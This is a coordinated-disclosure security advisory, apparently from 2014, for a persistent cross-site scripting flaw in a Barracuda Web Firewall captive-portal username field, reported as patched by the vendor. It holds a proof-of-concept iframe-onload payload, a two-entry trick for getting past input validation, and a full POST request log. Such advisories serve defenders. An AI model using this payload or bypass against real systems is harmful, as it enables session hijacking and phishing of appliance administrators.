Document Title: =============== Barracuda Networks Bug Bounty #31 Firewall - Persistent Access Policy Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1070 Barracuda Networks Security ID (BNSEC): BNSEC-2068 Release Date: ============= 2014-02-25 Vulnerability Laboratory ID (VL-ID): ==================================== 1070 Common Vulnerability Scoring System: ==================================== 3.5 Product & Service Introduction: =============================== The Barracuda Firewall goes beyond traditional network firewalls and UTMs by providing powerful network security, granular layer 7 application controls, user awareness and secure VPN connectivity combined with cloud-based malware protection, content filtering and reporting. It alleviates the performance bottlenecks in Unified Threat Management (UTM) appliances through intelligent integration of on-premise and cloud-based technologies. While the powerful on-premises appliance is optimized for tasks like packet forwarding and routing, Intrusion Prevention (IPS), DNS/DHCP services and site-to-site connectivity; CPU intensive tasks like virus scanning, content filtering and usage reporting benefit from the scalable performance and elasticity of the cloud. (Copy of the Vendor Homepage: https://www.barracuda.com/products/firewall ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a persistent web vulnerability in the official Barracuda Networks Web Firewall appliance web-application. Vulnerability Disclosure Timeline: ================================== 2013-09-04: Researcher Notification & Coordination (Ateeq ur Rehman Khan) 2013-09-06: Vendor Notification (Barracuda Networks Security Team - Bug Bounty Program) 2013-10-03: Vendor Response/Feedback (Barracuda Networks Security Team - Bug Bounty Program) 2014-02-17: Vendor Fix/Patch (Barracuda Networks Developer Team) [Coordination: Eric ****** ] 2014-02-25: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Barracuda Networks Product: Web Firewall 6.1.0.016 - Models: X100; X200; X300; X400 & X600 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the official Barracuda Networks Web Firewall appliance web-application. The web vulnerability allows remote attackers or local low privileged application user accounts to inject (persistent) own malicious script codes on the application-side of the vulnerable online-service module. The vulnerability is located in the `Firewall > Captive Portal > Basic Configuration` and the vulnerable input field is `username` under the `User Access Policy Exceptions`. Remote attackers are able to inject custom malicious script codes via the `Username` input field. The attack vector is persistent and the injection request method is POST. To bypass the filter and to be able to save the injected payload into the application, the attacker needs to create 2 entries. First entry should be the attackers payload and second entry should be any dummy account userid. The application only performs validation on the active field which is freshly added and ignores the earlier entries thus allowing successful injection of the script code into the application interface. The security risk of the persistent validation vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 3.5(+)|(-)3.6. Exploitation of the persistent input validation vulnerability requires a low privileged application user account and low user interaction. Successful exploitation results in session hijacking, persistent phishing, persistent external redirects & persistent manipulation of affected or connected module context. Vulnerable Application(s): [+] Firewall (WAF) Appliance Application (X300Vx v6.1.0.016) Vulnerable Module(s): [+] Firewall > Captive Portal > Basic Configuration > User Access Policy Exceptions Vulnerable Parameter(s): [+] username Proof of Concept (PoC): ======================= The persistent input validation web vulnerabilities can be exploited by remote attackers with low privileged web-application user account and low user interaction. For security demonstration or to reproduce the remote vulnerability follow the provided information and steps below. Manual steps to reproduce the vulnerability: 1. Login with the user account to the barracuda networks web firewall appliance application 2. Goto Firewall > Captive Portal > Basic Configuration > User Access Policy Exceptions 3. Inject the following Payload and click the + button to add. ateeq%20"> 4. You should now be able to see a javascript popup proving the existence of this vulnerability. 5. Add another entry a dummy username. This bypass the input filter and you wont get a warning while trying to SAVE the modification in the application. POC:
"><[PERSISTENT INJECTED SCRIPT CODE!]>
--- PoC Session Request Logs [POST] --- POST /cgi-mod/index.cgi HTTP/1.1 Host: firewall.ptest.localhost:7228 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0 Accept: text/javascript, text/html, application/xml, text/xml, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 X-Requested-With: XMLHttpRequest X-Prototype-Version: 1.7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: https://firewall.ptest.localhost:7228/cgi-mod/index.cgi?auth_type=Local&et=1378377089&locale=en_US&password=e7657221263938518ad85296817f1f3a&user=guest&primary_tab=FIREWALL&secondary_tab=authen_cp Content-Length: 606 Cookie: ys-fw_custom_user_objects5=o%3Acolumns%3Da%253Ao%25253Aid%25253Dn%2525253A1%25255Ewidth%25253Dn%2525253A150%25255Ehidden%25 253Db%2525253A1%255Eo%25253Aid%25253Dn%2525253A2%25255Ewidth%25253Dn%2525253A150%255Eo%25253Aid%25253Dn%2525253A3%25255Ewidth%2525 3Dn%2525253A250%255Eo%25253Aid%25253Dn%2525253A4%25255Ewidth%25253Dn%2525253A200%255Eo%25253Aid%25253Dn%2525253A5%25255Ewidth%25253 Dn%2525253A50 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache auth_type=Local&et=1378377108&password=33abcd72cc73fde950b3437920747e95&primary_tab=FIREWALL&realm=&secondary_tab=authen_cp&user=guest&role= &locale=en_US&q=&UPDATE_authen_cp_usernames=ateeq%20%22%3E%3Ciframe%20onload%3Dprompt(%2FPOC%2F)%20src%3Dx%3E%3C%2Fiframe%3E& UPDATE_authen_cp_user_auth=MSAD&UPDATE_authen_cp_user_access_policy=allow_all&username=%22%3E%3Ciframe%20onload%3Dprompt(%2FPOC%2F)%20src%3Dx%3E%3C%2Fiframe %3E&UPDATE_authen_cp_auto_logout=30&UPDATE_authen_cp_auto_renewal=5&UPDATE_authen_cp_encryption=strong&UPDATE_authen_cp_signed_cert= default&ajax_action=check_param_ajax_full&save=Save%20Changes Response Headers: HTTP/1.1 200 OK Server: BarracudaFirewallHTTP 4.0 Date: Thu, 05 Sep 2013 10:12:56 GMT Content-Type: text/plain; charset=utf-8 Connection: keep-alive Content-Length: 2 Reference(s): https://firewall.ptest.localhost:7228/cgi-mod/index.cgi?auth_type=Local&et=1378374620&locale=en_US&password=71109464bdb6adb668cf1e8c29392af0&user=guest&primary_tab=FIREWALL&secondary_tab=authen_cp https://firewall.ptest.localhost:7228/cgi-mod/index.cgi Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse of the username input field. Validate all entries inserted in the input field to prevent further executions of the same vulnerability. 2014-02-17: Vendor Fix/Patch (Barracuda Networks Developer Team) [Coordination: Eric ****** ] Security Risk: ============== The security risk of the persistent input validation web vulnerabilities is estimated as medium. Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Ateeq Khan (ateeq@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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